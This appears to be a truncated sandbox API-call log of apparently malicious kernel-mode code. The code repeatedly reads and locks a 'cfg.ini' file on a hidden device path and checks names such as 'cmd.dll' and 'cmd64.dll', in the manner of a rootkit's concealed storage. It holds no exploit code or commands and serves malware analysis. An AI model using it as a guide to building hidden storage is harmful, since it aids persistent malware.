[0128.143] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.143] IdePortDispatch () returned 0x103 [0128.144] KeWaitForMutexObject () returned 0x0 [0128.144] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.144] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.144] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.144] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.144] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.144] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfed00 [0128.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.144] KeLeaveCriticalRegion () [0128.144] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.144] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.144] KeEnterCriticalRegion () [0128.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.144] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.144] KeLeaveCriticalRegion () [0128.144] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.144] KeEnterCriticalRegion () [0128.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.144] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.144] IdePortDispatch () returned 0x103 [0128.144] KeWaitForMutexObject () returned 0x0 [0128.145] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.145] KeLeaveCriticalRegion () [0128.145] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.145] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.145] KeEnterCriticalRegion () [0128.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd2000 [0128.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.145] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.145] IdePortDispatch () returned 0x103 [0128.145] KeWaitForMutexObject () returned 0x0 [0128.145] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.145] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.145] IdePortDispatch () returned 0x103 [0128.146] KeWaitForMutexObject () returned 0x0 [0128.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.146] KeLeaveCriticalRegion () [0128.146] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.146] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.146] KeEnterCriticalRegion () [0128.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.146] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.146] KeLeaveCriticalRegion () [0128.147] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.147] KeEnterCriticalRegion () [0128.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.147] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.147] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.147] KeLeaveCriticalRegion () [0128.147] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.147] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.147] KeEnterCriticalRegion () [0128.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.147] ExFreePoolWithTag (P=0xfffffa8003bfed00, Tag=0x0) [0128.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.147] KeLeaveCriticalRegion () [0128.147] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.147] ReleaseMutex (hMutex=0xf0) returned 1 [0128.147] Sleep (dwMilliseconds=0x124f80) [0128.165] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.165] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.165] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.165] KeEnterCriticalRegion () [0128.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.165] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.165] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.165] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.165] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.165] IdePortDispatch () returned 0x103 [0128.165] KeWaitForMutexObject () returned 0x0 [0128.166] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.166] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.166] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.166] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.166] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.166] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038d21e0 [0128.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.166] KeLeaveCriticalRegion () [0128.166] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.166] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.166] KeEnterCriticalRegion () [0128.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.166] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.166] KeLeaveCriticalRegion () [0128.166] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.166] KeEnterCriticalRegion () [0128.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.166] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.166] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.166] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.166] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.166] IdePortDispatch () returned 0x103 [0128.166] KeWaitForMutexObject () returned 0x0 [0128.166] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.167] KeLeaveCriticalRegion () [0128.167] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.167] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.167] KeEnterCriticalRegion () [0128.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.167] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd7000 [0128.167] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.167] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.167] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.167] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.167] IdePortDispatch () returned 0x103 [0128.167] KeWaitForMutexObject () returned 0x0 [0128.167] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.167] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.167] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.167] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.167] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.167] IdePortDispatch () returned 0x103 [0128.168] KeWaitForMutexObject () returned 0x0 [0128.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.168] KeLeaveCriticalRegion () [0128.168] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.168] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.168] KeEnterCriticalRegion () [0128.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.168] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.168] KeLeaveCriticalRegion () [0128.168] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.168] KeEnterCriticalRegion () [0128.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.168] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.168] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfeac0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.168] KeLeaveCriticalRegion () [0128.168] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.168] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.169] KeEnterCriticalRegion () [0128.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.169] ExFreePoolWithTag (P=0xfffffa80038d21e0, Tag=0x0) [0128.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.169] KeLeaveCriticalRegion () [0128.169] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.169] ReleaseMutex (hMutex=0xf0) returned 1 [0128.169] Sleep (dwMilliseconds=0x124f80) [0128.187] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.187] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.187] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.187] KeEnterCriticalRegion () [0128.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.187] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.187] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.187] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.187] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.187] IdePortDispatch () returned 0x103 [0128.188] KeWaitForMutexObject () returned 0x0 [0128.188] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.188] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.188] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.188] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.188] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.188] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfed00 [0128.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.188] KeLeaveCriticalRegion () [0128.188] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.188] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.188] KeEnterCriticalRegion () [0128.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.188] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.188] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.188] KeLeaveCriticalRegion () [0128.188] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.188] KeEnterCriticalRegion () [0128.188] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.188] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.188] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.188] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.188] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.188] IdePortDispatch () returned 0x103 [0128.189] KeWaitForMutexObject () returned 0x0 [0128.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.189] KeLeaveCriticalRegion () [0128.189] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.189] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.189] KeEnterCriticalRegion () [0128.189] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.189] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdc000 [0128.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.189] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.189] IdePortDispatch () returned 0x103 [0128.189] KeWaitForMutexObject () returned 0x0 [0128.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.189] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.189] IdePortDispatch () returned 0x103 [0128.190] KeWaitForMutexObject () returned 0x0 [0128.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.190] KeLeaveCriticalRegion () [0128.190] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.190] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.190] KeEnterCriticalRegion () [0128.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.190] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.190] KeLeaveCriticalRegion () [0128.190] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.190] KeEnterCriticalRegion () [0128.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.190] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.190] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfedc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.191] KeLeaveCriticalRegion () [0128.191] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.191] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.191] KeEnterCriticalRegion () [0128.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.191] ExFreePoolWithTag (P=0xfffffa8003bfed00, Tag=0x0) [0128.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.191] KeLeaveCriticalRegion () [0128.191] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.191] ReleaseMutex (hMutex=0xf0) returned 1 [0128.191] Sleep (dwMilliseconds=0x124f80) [0128.205] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.218] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.218] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.218] KeEnterCriticalRegion () [0128.218] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.218] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.218] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.218] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.218] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.218] IdePortDispatch () returned 0x103 [0128.218] KeWaitForMutexObject () returned 0x0 [0128.218] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.218] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.219] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.219] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.219] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.219] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038cec40 [0128.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.219] KeLeaveCriticalRegion () [0128.219] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.219] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.219] KeEnterCriticalRegion () [0128.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.219] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.219] KeLeaveCriticalRegion () [0128.219] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.219] KeEnterCriticalRegion () [0128.219] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.219] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.219] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.219] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.219] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.219] IdePortDispatch () returned 0x103 [0128.219] KeWaitForMutexObject () returned 0x0 [0128.219] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.219] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.219] KeLeaveCriticalRegion () [0128.219] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.220] _snprintf 